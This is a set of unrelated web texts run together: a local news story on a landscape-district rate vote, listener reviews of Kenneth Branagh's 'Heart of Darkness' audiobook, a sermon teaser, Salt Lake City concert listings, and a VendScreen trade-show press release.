City officials said they are giving residents another chance to vote because of a low participation rate but acknowledged that communication about the issue should have been better in the past.
"For me, this is about property values," Mayor Dennis Michael said. "It's about maintaining the safety within the neighborhood. It's about maintaining the beautiful pristine environment that you live in. I think people want that. I do believe people want that, and I'm not going to take a position on which way people should vote. I think it's important, at least from my perspective.
"I would regret it for the rest of my career that we didn't give this one more chance. "
LMD 2 is an L-shaped area of land bounded by Etiwanda Avenue in the east, the 210 Freeway in the north, the halfway line between Milliken and Haven avenues in the west, and south above Base Line Road and Church Street in the eastern part of the district.
Officials said the annual budget shortfall for the district is about $222,000 and that costs have risen substantially.
If the increase is approved, rates would be raised by $40, officials said.
If rates remain the same, Public Works Director Bill Wittkopf said the plan is to discontinue watering and care of 1.5 million square feet of grass in the district's landscaped areas, which includes turf on medians, "paseo" walkway areas, and grassy portions of the district's parks other than play areas.
Victor Muniz, who has been a vocal critic of a new ballot measure, said the city should have provided a plan to implement the will of the people in 2011 instead of embarking on a public outreach effort and holding a new election.
"In July 2011, we made a vote, and you folks promised us you would come up with a landscape-management plan," Muniz said at last week's council meeting. "Any good, qualified civil or mechanical engineer would have come back with a good management plan within 90 days. "
Others say the rate increase would help maintain property values.
"All I am asking is to give residents in LMD 2 the chance to decide for ourselves if less than $4 a month is too much more to contribute to keeping our part of the city beautiful," said Francisco Oaxaca, a planning commissioner and resident of LMD 2.
The public-engagement process cost $40,000, which came from district funds. Much of the money went to hire communications consultant Lew Edwards Group and survey consultant EMC Research, Deputy City Manager Lori Sassoon said.
The cost for conducting the ballot process in 2011 for LMD 2 was $26,000.
Money for that election was from the general fund and the general fund would have been reimbursed by LMD 2 funds if it passed, officials said.
Cost for a new election would be about the same, officials said. The council last week voted 4-0, with Councilman Bill Alexander absent, to go ahead with the vote.
Alexander, who was present at the beginning of the meeting, left shortly before the vote, telling Mayor Dennis Michael he was feeling ill.
Alexander said he was feeling better after the meeting and explained he was nauseous.
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"The horror! The horror!" In this brooding and justly celebrated novella of 1902, seaman Charles Marlow is cruising quietly down the Thames at dusk with some friends. As night begins to fall, he tells them of his harrowing journey down an African river in search of the unscrupulous and near-legendary ivory trader named Kurtz, a quest deep into inky spiritual and symbolic darkness. Acclaimed Irish actor/director Kenneth Branagh impersonates Marlow in this recording. Admirably, while fully playing the drama, he never goes overboard. He plays the tale for the great yarn that it is. But had he taken more cognizance of its trajectory and subtleties, he would have made the listening experience far richer than he has.
Prose that demands to be read aloud requires a special kind of narrator. For the Audible Signature Classics edition of Joseph Conrad's atmospheric masterpiece, Heart of Darkness, we called upon four-time Academy Award nominee Kenneth Branagh.
Branagh's performance is riveting because he reads as though he's telling a ghost story by a campfire, capturing the story's sense of claustrophobia, while hinting at the storyteller Marlow's own creeping madness. Heart of Darkness follows Captain Marlow into the colonial Congo where he searches for a mysterious ivory trader, Kurtz, and discovers an evil that will haunt him forever.
With this landmark work, Conrad is credited with bringing the novel into the twentieth century; we think Branagh brings it into the twenty-first.
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"Acclaimed Irish actor/director Kenneth Branagh impersonates Marlow in this recording. Admirably, while fully playing the drama, he never goes overboard. He plays the tale for the great yarn that it is." (AudioFile)
"A treat for the senses"
Ever since I first read this novella as part of my studies for A Level English Literature, Conrad's prose transported me to a radically different world where colonial Africa became an arena where mankind itself battled to remain uncorrupted and unaffected by the darker side of humanity. Branagh, as we would expect from a master actor of his calibre, captures this conflict for man's soul excellently as he assumes the character of Marlow and takes us through his journey to Africa, up the snake-like river and into the very heart of darkness.
"Five stars!"
Superb narration by Kenneth Branagh - he injects such realism into the narrative. He must be my favourite male narrator of all time!
"Too ambiguous to enjoy as a story"
I found the story utterly lacking in detail and therefore ambiguous throughout.
For example we're told that Kurtz is an astonishing man of near unsurpassed brilliance, but we're given no detail whatsoever as to why. Consequently I found myself unable to share the deep respect and interest that every other character in the book seems to have for this man, at all.
Granted there may be a number of individual sentences or passages that have great value to the English language for their construction, but in my opinion this is no good if they don't also serve to provide the detail necessary to convey a compelling story, which they don't.
The narrator whispered too much and was over dramatic in places for my taste.
About me, for reference: I love classic fiction for two reasons: first is the originality of the stories which are usually compelling, and second is the vocabulary and construction of language, which is so much more eloquent and attractive to me than modern prose.
"great narrator for a tedious classic"
never have enjoyed this classic - well read but doesn't save the tedious prose but of you want to any version o recommend this one
Not my usual choice of book, but I was gripped from the beginning. Kenneth Brannagh really brought it to life
"Prepare to never be the same"
A story that speaks to the hearts of all men. Branagh brings the dense and conversational prose of the old sailor and adventurer Marlow to fantastic and awful life in this excellent reading of Conrad's classic tale. Darkness is timeless, placeless, it is within us and those of us who have seen and felt it wear it like a veil, walk with it as a companion whose shadow stretches out around us and casts a horrible shade over us.
A mellifluous romp through the darkest recesses of the human soul, beautiful and bitter in equal measure... Branagh's reading is unsurpassable and captures every subtlety of the text. Unmissable!
Superb narration, having read the book myself I can't believe how Branagh's performance modernises the book. He also closes the gap between Apocalypse Now and the novel that inspired it. More signature performances please
as an artefact of the late nineteenth century this book, with its focus on a white mans fascination with another white man cannot do justice to collonialism. However, this is a fictionalised account of imperialism written by a witness and its not pretty. the prorangonist is a european who does not claim to understand the cultures that are being trampled over and from this position of disassociated ignorance there is no way that he can represent anything but his own view. but even from this problematic stance he starts to humanise a period in global history which by its very scale is apt to seem anonymous.
"Just bliss"
Such a strange eerie story. So beautifully read - Kenneth Branagh has such a rich, expressive voice. Highly recommended.
"Conrad's Brilliant & Wild Novella"
The novella is literature's most compellingly roaming form and Conrad absolutely owns it with Heart of Darkness. I first read Conrad in high school, with throngs of other pimply kids. I liked it sure, but didn't understand all of the conflciting currents of this brilliant story. I was re-introduced to Heart of Darkness when I recognized it in Francis Ford Coppola brilliant Apocalypse Now. During the last few years I've been on a huge Conrad kick, listening or reading to Lord Jim, Victory, The Secret Agent, Nostromo, etc.
The man is simply amazing. It is incredible to think that he could write better in his 3rd language (English) than most writers could ever hope to write in their first. In this way, he shares a lot with Nabokov.
Anyway, this is one of those few works I constantly return to for its humanity and for its inspiriation. Kenneth Branagh's reading of HoD is amazing in both its depth and nuance.
"From Civilization into Darkness"
The enigmatic narrator Marlowe tells his dark story of madness and despair from the deck of a ship anchored in the Thames in the harbor of London, the then world's center of commerce and civilization. It ends in the heart of madness and despair, the Congo river deep in Africa. In this short novel, which has been called one of the most important works in modern literature, Marlow's voice is that of Kenneth Branagh, one of the finest of actors today. His voice gives a complete new dimension with an interpretation on a richer more meaningful level that is impossible with just the printed word.
"Dark story, much to ponder"
This book is so full of symbolism that I had to listen to it twice to get the most out of it. I checked out sparknotes in between listens so as to get as much as I could out of the second listen, and it was a smart move on my part. If I had been satisfied with one time through, I would have missed the whole point of the story. It is a short book, more of a novella, which might help entice me to read it again in the future. It is a great allegory and commentary on human nature. Conrad is a great writer. I think I will ponder on this story for a long time and try to determine which character I am most like at an given time. I will also use it to analyze (not judge) those around me. It is inevitable, I think. Read this book if you enjoy stories that make you think, dig deep for hidden meanings, and analyze. It will stay with you for a long time. However, keep in mind that it was written for another era and much of the structure should not be considered or evaluated according to modern standards. It is a classic and will stand up to the test of time if the reader remembers that fact. The story itself is timeless.
I can't say enough good about narrator Kenneth Branagh. Fabulous!!
"Great narration"
This is where I wish we could give two scores, one for narration and one for writing.
I was assigned The Heart of Darkness in high school and despised every minute of it. In fact, I have often referenced it as my most-abhorred book.
As an adult, I wanted to give the book a second chance, and I figured if I didn't like it with Kenneth Branagh narrating it, there was no hope for reconciliation. I figured that four hours was short enough a time to devote to this experiment.
Branagh gets an A+. The narration is impeccable. If you like this story, you're in for a treat.
Unfortunately, I still can't stand the book. I didn't agree with Conrad's premise as a kid and nothing has changed in the interim.
But, that's just me. If you like this story or want to experience it for the first time, this is in the upper echelon of audiobooks.
"Highly enjoyable."
This was my first time reading Heart of Darkness. It was highly gripping, and Kenneth Branagh does a great job at narrating. I listened to the entire book in one sitting. There's not much more for me to add, because it is such a classic novella.
"Great Performance"
Branagh gives a masterful performance and, yes, it is a performance. His confident portrayal of the characters, even the female ones, is so spot on. This is the kind of book that I joined Audible for. My education left me with a few holes literature-wise and Audible is how I'm going to plug those holes. I can only hope that other books will be given the bravura effort that Branagh gives here. I can not think of any reservation although it might be interesting to see the movie "Apocalypse Now" before or after hearing this book.
It is tempting to see Heart of Darkness as a masterfully constructed parable on human nature (witness Apocalypse Now, Francis Ford Coppola's film adaptation, in which the action was transposed to south-east Asia) but as historian Adam Hochschild has pointed out in King Leopold's Ghost, about the king's rape of the Congo, Conrad himself was quite clear that it was based on specific events he had witnessed, saying it was "experience… pushed a little (and only very little) beyond the actual facts of the case". Despite his protestations, this is undeniably an invaluable historical document offering a glimpse into the horrific human consequences of the imperial powers' scramble for Africa as much as it is a compelling tale.
"Absolute joy"
Kenneth Branagh must have been born to read this book. He is mesmerizing. Don't wait, get this!
"One of English lit's finest works, finely rendered"
I hadn't revisited "Heart of Darkness" for decades until I listened to this audiobook. My impressions are simple and intense.
Regardless of the post-colonial critique of Conrad - he was, I believe, remarkably understanding of the wrongs of colonialism for a man of his time - the writing and the psychological depth of the novella are nearly unsurpassed in 19th- and 20th-century English language literature.
In addition, Kenneth Branagh demonstrates here the difference between merely passable or even good dramatic reading, and true craftsmanship. I can't imagine how the publisher lured such an amazing acting talent into doing the narration of a book in the public domain, but Branagh's rendition is the finest of any audiobook I've ever listened to.
I'm deeply impressed with both Conrad and Branagh.
Thank you, Audible.
"Brilliant Performance"
Kenneth Branagh has shared his prodigious talent with the world of audiobooks for more than 20 years. THE HEART OF DARKNESS for Audible, Inc. is his first foray into the latest medium of downloadable literature. Like his previous recordings, THE HEART OF DARKNESS is presented as a performance rather than a mere narration of this turn-of-the 20th century, English classic. Branagh uses his musical voice to transform into multiple characters, male and female, as well as individuals of various nationalities, within the story as it evolves. For most of the near 4 hour running time of this unabridged edition, Branagh plays the part of the main storyteller, Marlowe, an introspective sailor, leisurely relaying the tale of his long journey in a battered steamboat, up the Congo River to find Mr. Kurtz, the renowned company agent at the inner station.
It is easy to empathize with Marlowe's experiences as he decribes: his encounters with widespread inefficiency and brutality by civilized men in the Company's stations; his growing fascination with Kurtz; the intimidating nature of the vast jungle and its peoples; and the realization of the amoral depths to which a man can sink.
THE HEART OF DARKNESS is an absorbing story with the metaphor of darkness at its center, told by a patient and poetic author. Listening to Audible, Inc.'s production of THE HEART OF DARKNESS read by Kenneth Branagh adds another dimension to this multi layered tale of real and perceived darkness.
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As we approach Easter we are reminded of the resurrection of Jesus. Yet each and every day we are called to resurrect ourselves. On Sunday I spoke and talked about three steps to selfless living. The first is the recognition of our ideal's. Each of us has them. For example, the ideal relationship, job, spiritual [Read More…]
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The Babies
Spotlight show • Last year Cassie Ramone came to Kilby Court leading Brooklyn noise-pop band Vivian Girls, but this year she's returning with her side project, The Babies. The group began several years ago when she started making lo-fi music just for fun with then-housemate Kevin Morby of the band Woods although the first time the two had met they argued passionately about the virtues of Courtney Love. With that argument over, the band has gone on to create two albums' worth of lo-fi pop-punk with plenty of guitar buzz and Ramone cooing like Nico to Morby's Lou Reed. There still remains one argument, though. Ramone said in a phone interview that she hates the name of the group, created when she said they seemed like complainers and whiners. It was meant as a temporary placeholder, but now the band is too far along to change it.
When • Sunday, Nov. 25, 7 p.m.
Where • Kilby Court, 741 S. Kilby Court (330 West), Salt Lake City
Tickets • $8 at 24Tix
Rick Estrin & The Nightcats
Spotlight show • Rick Estrin & the Nightcats began as Little Charlie & the Nightcats before the former frontman, because of health issues, temporarily retired from touring. The band's blues and jazz music is built upon the foundation of Chicago blues, though virtuoso harmonica player Estrin and his bandmates hail from northern California. When Little Charlie (Baty) decided to retire, he requested that Estrin and the band continue on, Estrin said in a phone interview. Estrin was nervous about the proposition because he considered Little Charlie one of a kind. But once the band got into the groove, he said, "It all fell together. Like it was meant to be." Now that Estrin is happy leading his own band, he no longer regrets once missing a phone call back in the days before voice mail and answering machines were ubiquitous from the late Muddy Waters to join Waters' band.
When • Monday, Nov. 26, and Tuesday, Nov. 27, 7 p.m.
Where • The Sun & Moon Cafe, 6281 Emigration Canyon Road, Salt Lake City
Tickets • $25 (or both nights for $40). Show tickets and dinner reservations required in advance. Call 801-583-8331 to book.
Joshua James
Spotlight show • The American Fork folk-rocker will celebrate the release of his brilliant new album, "From the Top of Willamette Mountain," with two shows at one of his favorite venues. The animated storyteller has just returned from a United Kingdom tour and plans to spend a few days around Thanksgiving with his family on their Utah farm (named Willamette Mountain) before launching a U.S. tour. In a 10 a.m. phone interview this week, James said he had just returned from a rock climb and was preparing to harvest the last carrots out of his garden in preparation for the holiday feast. He also said he was baking a batch of vegan pumpkin brownies, "trying to keep my life jolly for the season." Unlike most musicians, he's an early riser and makes breakfast for his wife every morning. The biggest problem Americans have, he asserts, is multitasking; he works to focus his full attention on one thing at a time. Next up on his schedule: feeding the goats.
When • Wednesday, Nov. 28, and Thursday, Nov. 29, 8 p.m.
Where • Velour Live Music Gallery, 135 N. University Ave., Provo
Tickets • $12 at 24Tix.com; $2 discount with a presale ticket on the purchase of an album or vinyl at the show
Morgan Page
Spotlight show • DJ Morgan Page is one of the most sought-after remixers in the world, as well as an influential house music evangelist. Which is why it's so curious and great that he seems to stop in Salt Lake City so often. In a phone interview, it doesn't take long to figure out why: It's the powder. "I always snowboard when I get the chance," he said, adding that Utah's snow is the best in the world. The 31-year-old fan of Snowbird, Brighton and Solitude grew up in a log cabin next to a dirt road in rural Vermont, but attended a very progressive elementary school. "I was given a lot of technology at an early age," Page said. He was designing his own web page in the fifth grade, while his exposure to computers also allowed him to begin composing and remixing early on. As an only child, "I had a lot of solitary musicmaking time." Now with remixes by the likes of Madonna and Katy Perry on his résumé, he said he only gets about two weekends off a year. The day after Christmas, he will jet to Brazil and be back in San Francisco for a New Year's party. But none of those places have the best snow on Earth.
When • Thursday, Nov. 29, 11 p.m.
Where • One Nightclub/Lounge, 400 S. 180 West, Salt Lake City
Tickets • $25 at SmithsTix
Blood on the Dance Floor
The electro-rock duo will perform with guests Jeffree Star, New Years Day, and Davey Suicide.
When • Friday, Nov. 23, 5:30 p.m.
Where • In The Venue, 219 S. 600 West, Salt Lake City
Tickets • $14.50 at SmithsTix
Jackson Cash
Backed by his band, Jackson plays Johnny Cash classics while teaching the audience more about the musical innovations and personal life of the Man in Black.
When • Friday and Saturday, Nov. 23-24, at 8 p.m.; Sunday, Nov. 25, 6 p.m.
Where • Egyptian Theatre, 328 Main St., Park City
Tickets • $20-$35 at holdmyticket.com
Rachael Yamagata
The singer-songwriter is touring to promote her latest indie release, "Chesapeake."
When • Friday, Nov. 23, 9 p.m.
Where • The State Room, 638 S. State St., Salt Lake City
Tickets • $15 at thestateroom.com
Twiztid's The Abominationz Tour
The concert will feature a headlining performance from Twiztid, the hip-hop duo promoting its new release, "Abominationz," as well as performances by Hed PE, Lil Wyte and Potluck.
When • Friday, Nov. 23, 6 p.m.
Where • The Complex, 536 W. 100 South, Salt Lake City
Tickets • $20 at SmithsTix
Dutch DJ and producer R3hab will perform with opening sets by DJ:K and Lowpress.
When • Saturday, Nov. 24, 9 p.m.
Where • The Depot, 400 W. South Temple, Salt Lake City
Tickets • $20 at SmithsTix
The Faceless
The death metal band performs on its The Deconsecrate The Nation Tour, with guests Revocation and The HAARP Machine.
When • Tuesday, Nov. 27, 6 p.m.
Where • Mojos Ogden, 2210 Washington Blvd., Ogden
Tickets • $14 at SmithsTix
Walk the Moon
The members of this Ohio-based indie rock band lead singer Nicholas Petricca with bassist Kevin Ray, guitarist Eli Maiman and drummer Sean Waugaman paint their faces before every show.
When • Tuesday, Nov. 27, 7 p.m.
Where • Kilby Court, 741 S. Kilby Court (330 West), Salt Lake City
Tickets • $12 at 24Tix
The punk-inspired quintet Yellowcard formed in Jacksonville in 1997 and comprises vocalist-guitarist Ryan Key, vocalist-violinist Sean Mackin, guitarist Ben Harper, drummer Longineu Parsons and bassist Warren Cooke. The band had hits with "Ocean Avenue" and "Way Away." The Wonder Years and We Are the In Crowd will also perform.
When • Wednesday, Nov. 28, 6 p.m.
Where • The Complex, 536 W. 100 South, Salt Lake City
Tickets • $22 at SmithsTix


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CHICAGO -- April 3 -- VendScreen Inc., innovator of vending touchscreens that accept cashless payments and provide detailed product information, will conduct five-minute product demos at its booth (#143) every hour on the hour during the National Automatic Merchandising Association's OneShow, April 9-11, at Chicago's McCormick Place.
The product demos will feature the VendScreen 4.3" interactive touchscreen that enables vending machines to accept cashless payments, provide detailed product information and run on-screen promotions.
"The features and benefits of our touchscreen devices can only be fully understood through a live demo," said Stephen Pasker, product manager for VendScreen, who will conduct the demonstrations. "There's a 'wow' factor. Any operator who sees the product in action immediately understands how it attracts more customers to vending machines, which generates more sales."
ABOUT: VendScreen Inc. is the industry's leading manufacturer of retrofit touchscreen devices for vending machines. VendScreen devices are powered by a proprietary cloud-based computing platform that enables cashless transactions, dynamic product and nutrition information, onscreen promotions and centralized remote monitoring.